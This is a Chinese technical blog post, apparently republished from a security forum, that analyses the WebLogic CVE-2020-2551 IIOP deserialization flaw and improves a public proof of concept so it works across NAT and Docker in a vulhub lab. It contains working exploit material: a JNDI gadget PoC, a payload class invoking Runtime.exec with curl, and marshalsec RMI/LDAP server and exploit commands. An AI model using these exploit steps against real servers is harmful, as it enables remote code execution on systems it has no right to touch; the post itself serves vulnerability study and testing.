手把手教你解决Weblogic CVE-2020-2551 POC网络问题

2020-04-07 约 496 字 预计阅读 3 分钟

声明:本文 【手把手教你解决Weblogic CVE-2020-2551 POC网络问题】 由作者 hackworld 于 2020-04-07 09:55:00 首发 先知社区 曾经 浏览数 125 次

感谢 hackworld 的辛苦付出!

最近在公司内部分享了如何解决CVE-2020-2551 POC网络问题,考虑到有些同事刚开始接触Java,所以写得比较详细。

写的时候直接参考了网上各位大佬的文章,感谢巨人们的肩膀,如有错误还请指正。

1.背景

2020年1月15日,Oracle发布了一系列的安全补丁,其中Oracle WebLogic Server产品有高危漏洞,漏洞编号CVE-2020-2551,CVSS评分9.8分,漏洞利用难度低,可基于IIOP协议执行远程代码。

近年来Weblogic不断爆出漏洞,其中T3协议漏洞比较多,运维人员已经渐渐在Weblogic上关闭了T3协议,今年也出现T3协议漏洞CVE-2020-2555,个人觉得CVE-2020-2551的危害更大。

第一是因为Weblogic IIOP协议默认开启,跟T3协议一起监听在7001或其他端口。
第二是Weblogic IIOP协议漏洞是第一次出现,漏洞一时半会修复不完,一定时间内继续会有利用价值。

互联网中公布了几篇针对该漏洞的分析文章以及POC,但公布的 POC 有部分不足之处,导致漏洞检测效率变低,不足之处主要体现在:
1.公布的 POC 代码只针对直连(内网)网络有效,Docker、NAT 网络全部无效。
2.公布的 POC 代码只支持单独一个版本,无法适应多个 Weblogic 版本。

CVE-2020-2551漏洞在不同Weblogic版本的利用有些不同,因为IIOP的相关流程有所变动,以10.3.6.0.0 和 12.1.3.0.0 为一个版本(低版本),12.2.1.3.0 和 12.2.1.4.0 为另外一个版本(高版本)。

本次分享主要是对Weblogic 10.3.6.0(低版本)的网络问题进行分析,并改进POC,高版本POC改进可参考低版本分析流程。

2.漏洞分析

经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类。
JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。

但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在JNDI注入的。

漏洞利用过程:
1.通过JNDI方式利用IIOP协议向Weblogic申请注册远程对象,这个对象由jtaTransactionManager构造,它存在已知漏洞,在反序列化时会通过JNDI去加载对象,而JNDI的地址是可以由攻击者控制的。
2.Weblogic反序列化jtaTransactionManager,通过LDAP/RMI协议获取到JNDI引用,接着解码JNDI引用(JNDI引用会指定恶意远程对象的HTTP获取地址),然去加载恶意远程对象,将其实例化,触发恶意对象的静态构造方法,执行恶意载荷。

3.相关概念

为了能够更好的理解本文稿中所描述 RMI、IIOP、GIOP、CORBA 等协议名称,下面来进行简单介绍。

3.1.RMI
RMI英文全称为Remote Method Invocation,字面的意思就是远程方法调用,其实本质上是RPC服务的JAVA实现,底层实现是JRMP协议,TCP/IP作为传输层。通过RMI可以方便调用远程对象就像在本地调用一样方便。使用的主要场景是分布式系统。

3.2.LDAP

LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。常见应用于查询多,修改少的场景,比如通讯录,统一身份认证等。

3.3.JNDI

JNDI (Java Naming and Directory Interface) ,包括Naming Service和Directory Service。JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

Naming Service:命名服务是将名称与值相关联的实体,称为"绑定"。它提供了一种使用"find"或"search"操作来根据名称查找对象的便捷方式。 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器 。例如上面说到的RMI Registry就是使用的Naming Service。

Directory Service:是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统,一个目录类似于数据库,不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBM系统,通过目录具有的属性保存一些简单的信息,常见的就是LDAP。

JNDI好处:
JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口,把RMI换成其他的例如LDAP、CORBA等也是同样的道理。

JNDI示例代码:


3.3.1.JNDI注入

3.3.1.1.JNDI Reference+RMI攻击向量

JNDI特性:
如果远程获取到RMI服务上的对象为 Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。

Reference中几个比较关键的属性:

className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
classFactory - 远程的工厂类
classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议
使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。

Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);//这里也可以使用JNDI的ctx.bind("Foo", wrapper)方式,都可以

当有客户端通过lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,如果本地未找到,则会去请求 http://example.com:12345/FactoryClassName.class 加载工厂类,实例化时会自动初始化构造方法,从而运行攻击载荷。

import java.io.IOException;
        public class FactoryClassName {
            public FactoryClassName () {
                String cmd = "curl http://172.16.1.1/success";
                try {
                    Runtime.getRuntime().exec(cmd).getInputStream();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

3.3.1.2.JNDI+LDAP攻击向量

LDAP的利用过程跟RMI大体类似,大家可以看下参考链接,
Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上) https://paper.seebug.org/1091/

实战中用LDAP比较多,因为服务器JDK版本限制比RMI少点。RMI在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性
com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。

LDAP使用序列化方式目前已知jdk1.8.0_102后com.sun.jndi.ldap.object.trustURLCodebase属性默认为false,使用JNDI引用方式在JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase属性默认为false。

3.3.1.3.已知的JNDI注入

上面讲的攻击向量有个重要前提,就是你用JNDI bind方法注册了对象,需要服务器用JNDI lookup方法去调用你的对象,服务器才中招,正常情况下后台不会随意去调用别人的远程对象。大牛们发现,有些原生库的类在反序列化或使用时会自动进行JNDI lookup,而且lookup 的远程URL可被攻击者控制,可以利用这些类进行攻击。

1、org.springframework.transaction.jta.JtaTransactionManager
org.springframework.transaction.jta.JtaTransactionManager.readObject()方法最终调用了 InitialContext.lookup(),并且最终传递到lookup中的参数userTransactionName能被攻击者控制。

2、com.sun.rowset.JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl.execute()最终调用了InitialContext.lookup()

3、javax.management.remote.rmi.RMIConnector
javax.management.remote.rmi.RMIConnector.connect()最终会调用到InitialContext.lookup(),参数jmxServiceURL可控

4、org.hibernate.jmx.StatisticsService
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName()中会调用InitialContext.lookup(),并且参数sfJNDIName可控

3.4.CORBA

Common Object Request Broker Architecture(公共对象请求代理体系结构)是由OMG(Object Management Group)组织制定的一种标准分布式对象结构。使用平台无关的语言IDL(interface definition language)描述连接到远程对象的接口,然后将其映射到制定的语言实现。
一般来说CORBA将其结构分为三部分,为了准确的表述,将用其原本的英文名来进行表述:
• naming service
• client side
• servant side

这三部分组成了CORBA结构的基础三元素,而通信过程也是在这三方间完成的。我们知道CORBA是一个基于网络的架构,所以以上三者可以被部署在不同的位置。servant side 可以理解为一个接收 client side 请求的服务端;naming service 对于 servant side 来说用于服务方注册其提供的服务,对于 client side 来说客户端将从 naming service 来获取服务方的信息。

用淘宝来举例,淘宝网站就是servant side,店铺就是name service,顾客就是client side,店铺name service向淘宝 servant side 注册店铺,顾客client side 访问淘宝servant side去找到店铺name service。

3.5.IIOP、GIOP

GIOP全称(General Inter-ORB Protocol)通用对象请求协议,其功能简单来说就是CORBA用来进行数据传输的协议。GIOP针对不同的通信层有不同的具体实现,而针对于TCP/IP层,其实现名为IIOP(Internet Inter-ORB Protocol)。所以说通过TCP协议传输的GIOP数据可以称为IIOP。

3.6.RMI-IIOP

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。但是现在有了RMI-IIOP,稍微修改代码即可实现RMI客户端使用IIOP协议操作服务端CORBA对象,这样综合了RMI的简单性和CORBA的多语言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺点和CORBA的复杂性。

在Weblogic中实现了RMI-IIOP模型。

4.公开POC代码分析

参考:漫谈 WebLogic CVE-2020-2551 https://xz.aliyun.com/t/7374

public static void main(String[] args) throws Exception {
        String ip = "127.0.0.1";
        String port = "7001";
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
        env.put("java.naming.provider.url", String.format("iiop://%s:%s", ip, port));
         //请求NameService
        Context context = new InitialContext(env);

        //配置JtaTransactionManager的lookup地址
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");

//使用基于AnnotationInvocationHandler的动态代理,自动反序列化JtaTransactionManager,从而加载rmi协议指定的类
        Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", jtaTransactionManager), Remote.class);
        context.bind("hello", remote);//注册远程对象
    }

5.Y4er完整POC

Github:https://github.com/Y4er/CVE-2020-2551
感谢Y4er分享,本次是在他的POC基础上进行了改造。

6.POC编译、Weblogic搭建

6.1.导入工程、运行、生成Jar包

打开IDEA,左上角进行File->New





生成jar包:







6.2.搭建Weblogic10.3.6.0环境

参考:https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
cd vulhub/weblogic/CVE-2017-10271/ && docker-compose up -d

Weblogic Docker ip:172.20.0.2

Kali ip:192.168.152.128

7.Kali虚拟机本地直连网络测试(成功)

7.1.攻击准备

编译exp class:
javac -source 1.6 -target 1.6 exp.java

搭建RMI Server,HTTP Server,执行POC:

python -m SimpleHTTPServer 80
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer "http://192.168.152.128/#exp" 1099
java -jar CVE-2020-2551.jar 192.168.152.128 7001 rmi://192.168.152.128:1099/exp


注意:实战中HTTP Server 和RMI Server 的端口需要在防火墙上开放
Linux 开放80端口 :
iptables -I INPUT -p tcp --dport 80 -j ACCEPT

7.2.开始抓包,并攻击

确定网卡名称:

执行抓包命令:tcpdump -i br-56b6c2497082 -n -w deserlab.pcap,攻击完成后ctrl+c 结束命令

7.3.分析攻击流程

将保存的deserlab.pcap拷贝出来,用wireshark打开并分析





8.Win10 攻击Weblogic Docker测试(失败)

Win10(宿主机) IP: 192.168.152.1
Kali 虚拟机(NAT网络)IP:192.168.152.128
Weblogic Docker (Kali虚拟机)IP: 172.20.0.2

HTTP Server 和RMI Server 继续放在Kali 上,不影响测试。
这个漏洞的网络问题是攻击机器和Weblogic真实内网ip不能互访导致的。

8.1.本地调试

8.2.开启WireShark抓包

抓两个网卡,一个是VMware NAT,一个是宿主机的网卡(WLAN或有线)

8.3.运行攻击代码


8.4.分析攻击流程

通过分析,发现Weblogic 回复NameService地址172.20.0.2后,Win10宿主机是无法访问到的:

通过WLAN网卡抓包,也证实了bind的时候无法连接172.20.0.2:

8.5.问题总结

通过IIOP协议向Weblogic请求NameService时,Weblogic直接使用本地ip地址作为bind地址,构造地址信息回复,客户端解析地址信息,bind的时候直接访问该地址,但由于无法访问真实内网地址,导致bind失败。

9.解决过程

9.1.网上解决思路

漫谈 WebLogic CVE-2020-2551 里有简单说了一种思路,自定义GIOP协议:

9.2.个人思路

重写IIOP协议,对于刚接触IIOP的人来说不太现实。

既然是因为Weblogic 返回的地址信息(LocateReply)导致的,在客户端处理Weblogic 地址信息时,将地址信息设置为外网ip和端口,然后让后续流程继续走下去就行。

9.3.定位关键代码


观察抓包情况,定位到发包代码:



继续研究LocateReply是怎么处理的,发现reply只能由SequencedRequestMessage的notify设置,所以设置一个断点,跑一下看看调用流程:


继续看createMsgFromStream函数,




9.4.重写处理逻辑

IOPProfile在项目里的库wlfullclient.jar中定义,wlfullclient.jar是从Weblogic 10.3.6环境中导出来的。

IOPProfile路径:
CVE-2020-2551\src\lib\wlfullclient.jar!\weblogic\iiop\IOPProfile.class

这里有个知识点,Java中可以编译某个库的单个class,然后重新打包,生成新的库,这样就可以改变原来库的处理逻辑。

9.5.打包测试


Build->Build Artifacts->Rebuild

Win10上执行:

java -jar CVE-2020-2551.jar 192.168.152.128 7001 rmi://192.168.152.128:1099/exp

LDAP 利用方式:
LDAP Server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.152.128/#exp" 1389

Win10上执行:
java -jar CVE-2020-2551.jar 192.168.152.128 7001 ldap://192.168.152.128:1389/exp

10.参考资料
CVE-2020-2551 POC https://github.com/Y4er/CVE-2020-2551

Weblogic CVE-2020-2551 IIOP协议反序列化RCE https://y4er.com/post/weblogic-cve-2020-2551/

漫谈 WebLogic CVE-2020-2551 https://xz.aliyun.com/t/7374

深入理解JAVA反序列化漏洞 https://paper.seebug.org/312/

Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上) https://paper.seebug.org/1091/

WebLogic CVE-2020-2551漏洞分析 http://blog.topsec.com.cn/weblogic-cve-2020-2551%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90/

Java CORBA https://www.anquanke.com/post/id/199227

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now